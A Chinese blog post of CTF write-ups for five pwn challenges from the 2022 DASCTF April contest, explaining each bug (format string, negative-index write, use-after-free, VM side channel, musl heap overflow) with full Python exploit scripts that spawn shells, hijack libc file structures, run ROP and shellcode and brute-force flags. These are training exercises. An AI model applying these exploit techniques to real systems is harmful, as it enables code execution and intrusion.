Loading

2022DASCTF-Apr-X-FATE-pwn-wp

2022DASCTF-Apr-X-FATE-pwn-wp

时间太仓促了,题目逆向的工作量有点大,远程还有不少毛病......一言难尽。下来把剩下几道题都复现一遍,wp持续更新中已写完收工。

小广告:解题脚本均使用我自己开发的工具pwncli编写,欢迎感兴趣的pwner师傅们试用~

1 good_luck

眼疾手快拿了个一血,这题其实很简单,但是远程的问题很大。附件都更新了两次,就很迷~

checksec

image-20220423183142291

没有给libc

漏洞点

要么栈溢出+格式化字符串,要么栈溢出:

image-20220423183249430

image-20220423183307699

image-20220423183323408

利用思路

由于这两种的概率是1/2,所以可以根据不同的输出来使用不同的payload。当然,可以编写一个通用的payload同时适用这两种情况。

观察到fmt函数的缓冲区距离rbp0x70overflow函数的缓冲区距离rbp0x50,所以前面的通用的payload可以为:

layoud = {
	0x58: [ret_addr] * 4 
    0x78: "deadbeef"
}

因此,思路为:

  • 使用通用payload再次执行fmt
  • 第一次fmt,利用格式化字符串泄露出libc地址,并再次执行fmt
  • 根据泄露出来的地址,计算并填入one_gadget即可获得shell

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']

ru("good luck\n")
m = rl()
data = flat([
    "a" * 0x58,
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt 
])

sl(data)

ru("fmt\n")
data = flat({
    0: "%7$s",
    8: elf.got.puts,
    0x58: [
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt
    ]
})
sl(data)

puts_addr = recv_current_libc_addr(offset=0)
log_address("puts addr: ", puts_addr)
lb = LibcBox()
lb.add_symbol('puts', puts_addr)
lb.search(download_so=1) # download --> libc6_2.23-0ubuntu11.2_amd64.so

libc_base = puts_addr -  lb.dump('puts')
system_adddr = libc_base + lb.dump('system')
bin_sh = libc_base + lb.dump('str_bin_sh')

set_current_libc_base_and_log(libc_base, 0)

ru("fmt\n")
data = flat({
    0x78: [
        0x4527a + libc_base, # one_gadget
        [0] * 0x20
    ]
})
sl(data)

ia()

最后测出来远程:libc6_2.23-0ubuntu11.2_amd64

远程:

image-20220423184352119

2 ssstring

不得不说,这次比赛的远程真的很很很很迷,本地环境应该和远程是一样的,但是总是打一半就卡死崩掉了。

这题考查的是C++string对象,也不算很难的题。C++ string对象的布局伪代码:

struct string {
char *data;
int capacity;
int refcount;
char pad[0x10];
};

初始状态下,data指针指向pad处。如果输入的字符串长度小于0x10,则会直接放置在pad处;如果大于0x10,则对string对象的操作流程可以简单总结为:

  • 首先检查data是不是指向pad,如果是,就会调用malloc分配堆内存,存储输入的字符串
  • 如果data不指向pad
    • 如果输入的字符串长度大于capacity,释放data处的内存
    • 按照0x40->0x80->0xf0->0x1e0->0x3e0...的大小依次进行扩容,直到满足要求(所以一次性读取超过0x400长度的字符串,会在tcachebins里面发现很多free chunk

checksec

image-20220423222606174

远程libc版本为:2.31-0ubuntu9.2_amd64

漏洞点

程序不复杂,漏洞也很明显,在change idx的时候:

image-20220423222715414

输入的idx可以为负数,也就可以溢出修改capacity域以及data指针,虽然每次只能修改1个字节。

利用思路

根据漏洞点整理利用思路如下:

  • 第一次输入不超过0x10长度的字符串

  • 利用索引负数溢出修改掉capacity的值后,cout<<str即可泄露出栈上的libc地址以及栈地址

  • 继续利用溢出修改capacity大于0x7f000000

  • 然后将data指向的地址的第5个字节修改成libc地址的第5个字节。比如说此时data的地址是一个栈地址0x7ffdd10d5e90,泄露出来的libc地址0x7f7463afc000,这里将0x7ffdd10d5e90修改为0x7f74d10d5e90,是为了方便修改libc上的数据

  • 计算想要修改的libc上的数据,和修改后的data之间的距离,一个字节一个字节修改即可

  • 这里我选择的思路是修改IO_file_jumps结构体和stdout结构体以及__free_hook,篡改puts的调用链,使得_IO_file_xsputn调用_IO_str_finish,调用free(stdout->_IO_buf_base),实际调用system("\nsh;")即可获得shell

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from socket import timeout
from pwncli import *

cli_script()

context.update(timeout=5)

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def input_str(data):
    sla(">> ", "1")
    sla("string? \n", data)

def change(idx, c):
    sla(">> ", "2")
    sla("char idx? \n", str(idx))
    sa("char? \n", c)

def show():
    sla(">> ", "3")

input_str("deadbeef")
change(-7, '\x01')
show()
m = ru("1. Cin")
libc_base = u64(m[0x40:0x40+8]) - libc.sym.__libc_start_main - 243
set_current_libc_base_and_log(libc_base, 0)

free_hook_addr = libc.sym.__free_hook
system_addr = libc.sym.system
file_jump_addr = libc_base + 0x1ed4a0
stdout_addr = libc.sym._IO_2_1_stdout_
IO_str_finish = libc_base + 0x96ed0

stack_addr = u64_ex(m[0x50:0x50+8])
string_ptr = stack_addr - 0x128
log_address("string_ptr", string_ptr)

input_str("/bin/sh;deadbee")
change(-5, '\x7f')
change(-12, p8_ex(libc_base >> 32))

string_ptr = (string_ptr & 0xffffffff) | ((libc_base >> 32) << 32)

# write IO_str_finish
target_addr = file_jump_addr
write_content = IO_str_finish
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write system
target_addr = free_hook_addr
write_content = system_addr
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write sh;
target_addr = stdout_addr + 132
write_content = u64_ex("sh;")
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(3):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write stdout
target_addr = stdout_addr
write_content = 0x80
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write vtable
target_addr = stdout_addr + 0xd8 # vtable
write_content = (file_jump_addr & 0xff) - 56
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

ia()

布局成功后如下所示:

image-20220423225923925

此时修改stdout->vtable的低一个字节即可:

image-20220423230047709

远程打不动,弃疗了...

3 easysystem

这题需要耐心和时间去逆向以及利用。需要IDA文件的点这里,我已经逆完了,我使用的IDA版本为7.6。需要调试镜像的使用docker pull roderickchan/debug_pwn_env:21.10拉取即可,已经安装好了pwndbg/gef/pwncli,使用gdb-gefgdb-pwndbg命令切换插件。

checksec

image-20220425010422897

给的libc的版本很高,版本为glibc-2.34。移除了很多hook,基本上无法使用hook去控制程序执行流。

噢对,还加了沙箱:

image-20220425014642939

漏洞点

程序的逆向工作有点大,维护了好几个结构体,如下所示:

/*
   This file has been generated by IDA.
   It contains local type definitions from
   the type library 'easysystem'
*/

#define __int8 char
#define __int16 short
#define __int32 int
#define __int64 long long

struct User;
struct FILE;


/* 15 */
struct UserList
{
  struct User *user1;
  struct User *user2;
};

/* 16 */
struct User
{
  char name[20];
  int _1;
  struct FILE *files;
  struct User *next_user;
};

/* 17 */
struct FILE
{
  char filename[20];
  char r;
  char w;
  char x;
  uint32_t _1;
  uint32_t length;
  void *_2;
  struct FILE *next_file;
};

/* 18 */
struct OpendFile
{
  char filename[20];
  char r;
  char w;
  char x;
  char o_r;
  char o_w;
  char o_x;
  uint32_t length;
  char *data;
  struct OpendFile *next_open_file;
};

/* 19 */
struct OpenFiles
{
  struct OpendFile *open_files1;
  struct OpendFile *open_files2;
  uint32_t max;
  uint32_t count;
};

漏洞点在openfile函数,全局变量未清理的漏洞:

image-20220425014256039

由于在read_file/write_file等函数均会使用到open_file这个全局变量,当其不为null的时候,会继续read/write。而如果在此之前调用close_file函数,则该变量指向的保存文件数据的内存是已经释放掉的内存:

image-20220425014543466

基于该use after free的漏洞,可以劫持程序执行任意流程。

利用思路

基于漏洞整理的利用思路如下:

step 1:任意地址写

  • 首先close_file然后write_file,即可泄露出libc地址和heap地址
  • 然后再来一次,close_file之后create_file,然后read_file即可伪造上面整理的FILE结构体,修改其next_file字段和length字段,使其指向tcache_perthread_struct
  • delete_file释放伪造的file即可释放掉tcache_perthread_struct
  • 利用tcache让任意地址分配内存

step 2:劫持程序执行流

  • 分配到stdout->vtable上方,tcache里有检查,分配的地址需要0x10对齐

  • 修改stdout->vtable_IO_cookie_jumps+0x40

  • 布局好__cookie字段和_IO_cookie_io_functions_t结构体

  • 输入exit\n,然后输入一个不存在的用户名,即可调用puts,本来是调用_IO_file_jumps->_IO_file_xsputn,劫持后调用(struct _IO_cookie_file *) stdout->__io_functions.write((struct _IO_cookie_file *) stdout->__cookie),这样就控制了riprdi

  • 用两段gadget劫持rsp

    0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    0x0000000000059fa0: mov rsp, rdx; ret;
    
  • 然后rop修改heap的执行权限,执行提前布局好的shellcode

  • 利用retfq切换到32位执行orw读取flag

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from mmap import mmap
from isort import file
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

username = "roderick"

def create_file(filename, len=0x18, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")

    sa(f"->{username}>>", "create\n")
    sa("Please file (file_name file_protect file_length) : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))
    s(str(len).rjust(4, "0"))


def delete_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "delete\n")
    sa("Please input the file's name you want to delete : ", filename)


def open_file(filename, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "open\n")
    sa("Please input the file name you want to open : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))


def close_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "close\n")
    sa("Please input the file name you want to close : ", filename)


def read_file(filename, data):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "read\n")
    sa("Please input the file name you want to read : ", filename)
    sa(":", data)


def write_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "write\n")
    sa("Please input the file name you want to write : ", filename)


def bye():
    sa(f"->{username}>>", "exit\n")
    sa("Please choose user to login : \n", "baduser")


sa("Please input  user name : \n", username)
sa("Please choose user to login : \n", username)

create_file("hack1", 0x500)
open_file("hack1")
create_file("hack2", 0x500)
close_file("hack1")

# leak libc addr
write_file("hack1")
libc_base = u64_ex(rn(9)[1:]) - 0x219cc0
set_current_libc_base_and_log(libc_base, 0)

ptr_guard = libc_base - 0x2890 # local debug
if gift.remote:
    ptr_guard = libc_base + 0x2295f0 # buu

io_cookie_jump = libc_base + 0x215b80

delete_file("hack2")
delete_file("hack1")

create_file("hack1", 0x88)
open_file("hack1")
close_file("hack1")
write_file("hack1")
# leak heap addr
heap_base = u64_ex(rn(0x19)[-8:]) - 0x380
log_heap_base_addr(heap_base)

delete_file("hack1")

# clear free chunk
for i in range(5):
    create_file(f"hack{i}", 0x88)
    open_file(f"hack{i}")

for i in range(5):
    close_file(f"hack{i}")

create_file("hack5", 0x500)
open_file("hack5")

# 0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# 0x0000000000059fa0: mov rsp, rdx; ret;
# 0x0000000000045f85: add rsp, 0x28; ret;
# 0x000000000002a6c5: pop rdi; ret;
# 0x000000000005f65a: pop rdx; ret;
# 0x000000000002c081: pop rsi; ret;
lower_addr = (heap_base&~0xfff) & 0xfffffff
payload = flat({
    0:[ # rdi
        libc_base + 0x0000000000045f85,
        heap_base + 0xab0,
    ],
    0x20: libc_base + 0x0000000000059fa0,
    0x30: [
        libc_base + 0x000000000002a6c5,
        heap_base,
        libc_base + 0x000000000002c081,
        0x8000,
        libc_base + 0x000000000005f65a,
        7,
        libc.sym.mprotect,
        heap_base + 0xab0 + 0x100
    ],
    0x100: asm(shellcraft.amd64.linux.mmap_rwx(0x10000, 7, lower_addr) +
            shellcraft.amd64.memcpy(lower_addr+0x800, heap_base + 0xab0 + 0x200, 0x50) + f"""
            mov rax, {lower_addr+0x800}
            mov rsp, rax
            push 0x23
            push {lower_addr+0x800+0x10}
            retfq
            """),
    0x200: b"\x90"*20 + ShellcodeMall.i386.cat_flag

})


read_file("hack5", flat({0x150: payload}))

create_file(f"hack6", 0x18) # gap
close_file("hack5")

create_file(f"hack7", 0x18) # fake file

# fake file 
read_file("hack5", data = flat({
    0:"hack7\x00",
    0x14:0x010101010101,
    0x1c:p32(0x280),
    0x28: heap_base + 0x10 # next_file
}))

# free tcache-control-struct
delete_file("\x00")

delete_file("hack6")
open_file("hack7")

read_file("hack7", flat_z({
    0:"\x01",
    0xe: "\x01",
    0x80: ptr_guard, # 0x20 chunk
    0xb8: libc.sym._IO_2_1_stdout_+0xd0 # 0x90 chunk
}))
create_file("hack8", 0x88)
open_file("hack8")
read_file("hack8", flat([
    0,
    io_cookie_jump + 0x40, # vtable
    heap_base + 0xab0,
    libc.sym._IO_2_1_stdout_,
    rol(libc_base + 0x0000000000165fa0, 0x11)
]))

create_file("hack9", 0x18)
open_file("hack9")
read_file("hack9", p64(0))

bye()

ia()

调试截图:

执行到puts

image-20220425020256188

准备劫持rsp

image-20220425020408980

栈迁移到堆上,修改其权限:

image-20220425020505028

切到32位:

image-20220425020603610

读取到flag

image-20220425020657318

远程打:

image-20220425013729729

4 try2findme

逆向题,侧信道爆破即可。

checksec

image-20220425220349629

还开启了沙箱,不过不影响做题,libc的版本也不影响做题。

题目分析

应该叫题目分析更为合适~

首先用IDA恢复跳表:

image-20220425220954049

修复后好看多了:

image-20220426215711593

然后恢复结构体信息:

struct Mgr
{
  uint8_t status;
  char *d;
  char lower_flag;
  char equal_flag;
  uint32_t p;
  uint32_t size;
  uint32_t i;
  char *s;
};

初始化的地方需要注意一下:

image-20220425222305913

{0x7b}0x7d

总结各个分支的流程如下:

case d[i]:
    0: ++i
    1: s[++p] = d[++i]
    2: --p
    3: s[p-1] = s[p] + s[p-1]
    4: s[p-1] = s[p] - s[p-1]
    5: s[p-1] = s[p] * s[p-1]
    6: s[p-1] = s[p] / s[p-1]
    7: ++i; i = d[i]
    8: ++i; if equal_flag; then i = d[i]
    0x9: ++i; if !equal_flag; then i = d[i]
    0xa: ++i; if equal_flag || lower_flag; then i = d[i]
    0xb: ++i; if !lower_flag; then i = d[i]
    0xc: ++i; if lower_flag; then i = d[i]
    0xd: equal_flag = (s[p] == s[p-1]); lower_flag = (s[p] < s[p-1])
    0xe: s[p] = ~s[p]
    0xf: s[p-1] = s[p] & s[p-1]
    0x10: s[p-1] = s[p] | s[p-1]
    0x11: s[p-1] = s[p] ^ s[p-1]
    0x12: sleep infinity
    other: exit
++i

漏洞在于i的值可以由输入控制,而i又可以控制分支执行。因此,类似于汇编中的各类跳转分支,当控制了i之后,我们可以在各个分支之间跳转。

利用思路

每个分支分析清楚之后,不难想到,可以用侧信道爆破。思路如下:

  • 由于初始化中的字节都是小于0x7a的,所以可以用}字符去判断是否找到了存放flag的位置。初始化:将p减小0x60,跳过管理的chunk0x30个字节
  • 然后case 1,将}输入到s[p]
  • 使用case 0xd判断前一个字符是否等于},然后借助case 8case 9分别进行跳转
  • 如果不等于,p -= 2,然后跳转到第二步重复;如果相等,说明找到flag的尾部了,跳转到下一步,猜测当前字符
  • case 0xd猜测当前字符,借助case 8case 9分别进行跳转
  • 猜测成功的时候跳转到case 0x12,一直睡眠;猜测失败的时候跳转到case other,会输出See u next time~
  • 使用当前方法爆破出所有字符即可

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

flag = "}"

for i in range(0x24):
    for guess_char in "0123456789-abcdef":
        # reset
        if gift.debug:
            gift.io = process(gift.filename)
        else:
            gift.io = remote(gift.ip, gift.port)
        
        payload = flat({
            0:"\x02"*0x60,
            0x60: "\x01}\x0d\x08\x6f\x09\x5d",
            0x70: "\x02" * (len(flag) + 1) + f"\x01{guess_char}\x0d\x08\xb0\x13",
            0xb0: "\x12\x12"
        })

        s(payload)
        m = ra(3)
        if b"See u next time" not in m:
            flag = guess_char + flag
            ic()
            break
        ic()
        
    log_ex(f"flag: {flag}")

log_ex(f"flag{{{flag}")

远程的环境没有了,在本地试了一下,很快就爆破出flag

image-20220425223330187

5 storage

1.2.2 musl libc的堆管理方式也没有特别的复杂,虽然与1.1.24版本的管理方式完全不同。理解了meta/group/meta_area/malloc_context几个结构体后,即可很快厘清堆管理方式。

因为题目提供的了完备的增删改查功能,所以其实做本题甚至不需要完全搞懂musl libc的分配方式,只需要找到一个特殊的地址进行操作即可。关于musl libc的分析文章,可参考这里,写得很详细,建议边读边结合源码分析。

自己编译源码:

git clone git@github.com:bminor/musl.git
cd ./musl
git checkout v1.2.2
CC="gcc" CFLAGS="-z now" ./configure --enable-debug --disable-werror

然后在./musl/lib中即可找到带调试信息的libc.so

image-20220426220542281

checksec

image-20220426220610323

musl版本为1.2.2

漏洞点

store函数:

image-20220426220804228

其实一开始我注意到这个点,但是根据之前的经验,就是这里的描述:

image-20220426220938510

我以为read会直接返回,然后ptr + 0xffffffff这里将是一个无效的地址,赋值的时候段错误。后来找了半天没找到漏洞,然后试了一下这里,发现竟然没有报错,可以继续输入,真的很神奇......所以,经验主义确实害人啊~

既然这里可以溢出,那么利用就很简单了。

利用思路

需要注意的是,musl分配的堆,除了属于动态内存区域,还可能属于静态内存区域。是因为musl在初始化的时候,会在libc.so映射的地址空间寻找未使用片段,然后当作静态内存管理起来。所以,可能分配到的堆地址是一个libc地址。

首先观察到,程序一开始申请的0x80大小的chunk就在libc上:

image-20220426221510334

malloc(0)的大小的内存也在libc.so的地址空间,而且恰好在这个0x80chunk的上方:

image-20220426221811777

距离为0x3f0。也就是说,可以溢出修改ptrs中存储的指针。然后由于有个\x00的截断,所以需要寻找一个地址x,恰好在x & ~0xff的地址处存储着libc地址或者堆地址,或者栈地址,满足一个即可。后来测试出来,malloc(0x400)的时候,满足需求:

image-20220426222103616

这里有个堆地址,然后堆地址上一定会有libc地址,因为会有group结构在libc上。

image-20220426222219811

经过多次测试,这里的libc地址相对于基地址是固定的。

总结以上利用思路为:

  • store(0x400)准备好要利用的指针

  • store(0xffffffff)溢出修改ptrs[0]存储的指针的最低字节为\x00

  • show(0)即可泄露堆地址

  • 继续溢出修改指针为堆地址,然后泄露libc地址

  • 计算得到__stderr_used地址,劫持其write函数指针,触发一个exit即可控制程序执行流

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']

def store(size, data):
    sla(">> ", "1")
    sla("String size? \n", str(size))
    if data:
        sa("String? \n", data)


def show(idx):
    sla(">> ", "2")
    sla("String idx? \n", str(idx))
    ru("String: ")
    return rl()


def delete(idx):
    sla(">> ", "3")
    sla("String idx? \n", str(idx))



def edit(idx, data):
    sla(">> ", "4")
    sla("String idx? \n", str(idx))
    sa("New string? \n", data)

store(0x400, "a"*8)
store(0xffffffff, "deadbeef")

edit(1, "\x00" * 0x3f0)
m = show(0)
heap_addr = u64_ex(m[:-1])
log_address("heap_addr", heap_addr)

edit(1, b"\x00"*0x3f0 + p64(heap_addr + 0x38)[:6])
m = show(0)
libc_addr = u64_ex(m[:-1])
log_address("libc_addr", libc_addr)

libc_base = libc_addr - 0xb7860
log_libc_base_addr(libc_base)

system_addr = libc_base + 0x50a90
str_bin_sh = libc_base + 0xb21d7
stderr_use = libc_base + 0xb4080

log_address("system_addr", system_addr)
log_address("str_bin_sh", str_bin_sh)

edit(1, b"\x00"*0x3f0 + p64(stderr_use)[:6])
edit(0, flat({
    0: "/bin/sh\x00",
    0x48: system_addr
}))

delete(99)

ia()

打远程:

image-20220426222625360

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2022-04-25 08:49  LynneHuan  阅读(772)  评论(0编辑  收藏  举报